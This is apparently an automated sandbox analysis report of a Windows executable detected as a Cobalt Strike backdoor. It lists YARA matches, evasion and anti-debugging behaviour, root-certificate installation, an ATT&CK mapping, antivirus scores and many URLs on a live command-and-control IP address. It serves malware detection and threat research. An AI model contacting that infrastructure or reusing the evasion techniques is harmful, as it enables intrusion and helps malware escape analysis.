Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00670B70 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_00670B70

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00673A64 CreateThread,GetModuleHandleA,GetProcAddress,CreateToolhelp32Snapshot,Thread32Next,Sleep,

0_2_00673A64

Source: yZah650lHL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\yZah650lHL.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: yZah650lHL.exe	Virustotal: Detection: 80%
Source: yZah650lHL.exe	ReversingLabs: Detection: 86%

Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\yZah650lHL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\yZah650lHL.exe

Unpacked PE file: 0.2.yZah650lHL.exe.660000.2.unpack

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0066D83C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0066D83C

Source: yZah650lHL.exe

Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001D776C push 0000006Ah; retf		0_2_001D7784
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0069916C push 0000006Ah; retf		0_2_00699184

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\Desktop\yZah650lHL.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_006801A8 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006801A8

Source: C:\Users\user\Desktop\yZah650lHL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT			Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\yZah650lHL.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00675854		0_2_00675854
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0066FA1C		0_2_0066FA1C

Source: C:\Users\user\Desktop\yZah650lHL.exe	Window / User API: threadDelayed 3936			Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe	Window / User API: threadDelayed 5865			Jump to behavior

Source: C:\Users\user\Desktop\yZah650lHL.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-37698
Source: C:\Users\user\Desktop\yZah650lHL.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-37556

Source: C:\Users\user\Desktop\yZah650lHL.exe

API coverage: 6.6 %

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0066FA1C

0_2_0066FA1C

Source: C:\Users\user\Desktop\yZah650lHL.exe TID: 6576	Thread sleep count: 3936 > 30	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe TID: 6576	Thread sleep time: -39360000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe TID: 6688	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe TID: 6576	Thread sleep count: 5865 > 30	Jump to behavior
Source: C:\Users\user\Desktop\yZah650lHL.exe TID: 6576	Thread sleep time: -58650000s >= -30000s	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\yZah650lHL.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\yZah650lHL.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00679220 malloc,_snprintf,FindFirstFileA,free,malloc,_snprintf,free,FindNextFileA,FindClose,		0_2_00679220
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00671C30 malloc,GetCurrentDirectoryA,FindFirstFileA,GetLastError,free,free,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_00671C30

Source: C:\Users\user\Desktop\yZah650lHL.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: yZah650lHL.exe, 00000000.00000002.4113948673.000000000072C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: yZah650lHL.exe, 00000000.00000003.2495218353.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1794858931.00000000007A4000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1701127794.00000000007A4000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3132490030.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2991067107.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1833140750.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\yZah650lHL.exe

API call chain: ExitProcess graph end node

graph_0-37629

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\yZah650lHL.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_0-37297

Found potential dummy code loops (likely to delay analysis)

Source: C:\Users\user\Desktop\yZah650lHL.exe

Process Stats: CPU usage > 42% for more than 60s

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0068F810 MultiByteToWideChar,MultiByteToWideChar,DebuggerProbe,DebuggerRuntime,IsDebuggerPresent,_RTC_GetSrcLine,WideCharToMultiByte,WideCharToMultiByte,

0_2_0068F810

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00689744 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00689744

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0066D83C GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0066D83C

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0068C0C8 _lseeki64_nolock,_lseeki64_nolock,GetProcessHeap,HeapAlloc,_errno,_errno,_setmode_nolock,__doserrno,_errno,_setmode_nolock,GetProcessHeap,HeapFree,_lseeki64_nolock,SetEndOfFile,_errno,__doserrno,GetLastError,_lseeki64_nolock,

0_2_0068C0C8

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00401180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,	0_2_00401180
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00401A70 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00401A70
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_004542E4 SetUnhandledExceptionFilter,	0_2_004542E4
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00402F62 SetUnhandledExceptionFilter,	0_2_00402F62
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_006924F0 SetUnhandledExceptionFilter,	0_2_006924F0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_006844D0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006844D0

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_0067DF50 LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_0067DF50

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00692050 AllocateAndInitializeSid,

0_2_00692050

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00401630 CreateNamedPipeA,ConnectNamedPipe,WriteFile,CloseHandle,

0_2_00401630

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00401990 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00401990

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00675E28 GetUserNameA,GetComputerNameA,GetModuleFileNameA,strrchr,GetVersionExA,GetProcAddress,GetModuleHandleA,GetProcAddress,_snprintf,

0_2_00675E28

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00675E28 GetUserNameA,GetComputerNameA,GetModuleFileNameA,strrchr,GetVersionExA,GetProcAddress,GetModuleHandleA,GetProcAddress,_snprintf,

0_2_00675E28

Source: C:\Users\user\Desktop\yZah650lHL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR
Source: Yara match	File source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00676A78 socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_00676A78
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00676670 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_00676670
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00692630 bind,	0_2_00692630
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0067EE8C socket,closesocket,htons,bind,listen,	0_2_0067EE8C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	2 Valid Accounts	2 Valid Accounts	2 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	21 Access Token Manipulation	1 Modify Registry	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	212 Virtualization/Sandbox Evasion	Security Account Manager	341 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	21 Access Token Manipulation	NTDS	212 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Process Injection	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Install Root Certificate	DCSync	1 Account Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	1 File and Directory Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	4 System Information Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
yZah650lHL.exe	81%	Virustotal		Browse
yZah650lHL.exe	87%	ReversingLabs	Win64.Backdoor.CobaltStrike
yZah650lHL.exe	100%	Avira	HEUR/AGEN.1344321
yZah650lHL.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://42.192.3.170/b-53011b87bd06	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelhK	0%	Avira URL Cloud	safe
https://42.192.3.170/ptography	0%	Avira URL Cloud	safe
https://42.192.3.170/vide	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelGX	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelcs	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelBX	0%	Avira URL Cloud	safe
https://42.192.3.170/)	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelz	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixely	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelphy	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelxJ	0%	Avira URL Cloud	safe
https://42.192.3.170/pixelq	0%	Avira URL Cloud	safe
https://42.192.3.170/%	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel3$	0%	Avira URL Cloud	safe
https://42.192.3.170/0	0%	Avira URL Cloud	safe
https://42.192.3.170/pixelLMEM8x	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel)X	0%	Avira URL Cloud	safe
https://42.192.3.170/9	0%	Avira URL Cloud	safe
42.192.3.170	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelm	0%	Avira URL Cloud	safe
https://42.192.3.170/S:	0%	Avira URL Cloud	safe
http://127.0.0.1:%u/	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelp	0%	Avira URL Cloud	safe
https://42.192.3.170/A	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelq	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel1b87bd063	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelt	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel8s	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel1b87bd06	0%	Avira URL Cloud	safe
https://42.192.3.170/F	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel$X	0%	Avira URL Cloud	safe
https://42.192.3.170/Q	0%	Avira URL Cloud	safe
https://42.192.3.170/M	0%	Avira URL Cloud	safe
https://42.192.3.170/nd-point:	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixela	0%	Avira URL Cloud	safe
https://42.192.3.170/pixelM	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelXu	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixeltem32	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelS	0%	Avira URL Cloud	safe
https://42.192.3.170/xel	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel7	0%	Avira URL Cloud	safe
https://42.192.3.170/pixel1b87bd06	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel#X	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel9	0%	Avira URL Cloud	safe
https://42.192.3.170/pixel	0%	Avira URL Cloud	safe
https://42.192.3.170/	0%	Avira URL Cloud	safe
https://42.192.3.170/pixel9	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelHP	0%	Avira URL Cloud	safe
https://42.192.3.170/pixel(	0%	Avira URL Cloud	safe
https://42.192.3.170/y	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel=#	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixeltz	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixelHG	0%	Avira URL Cloud	safe
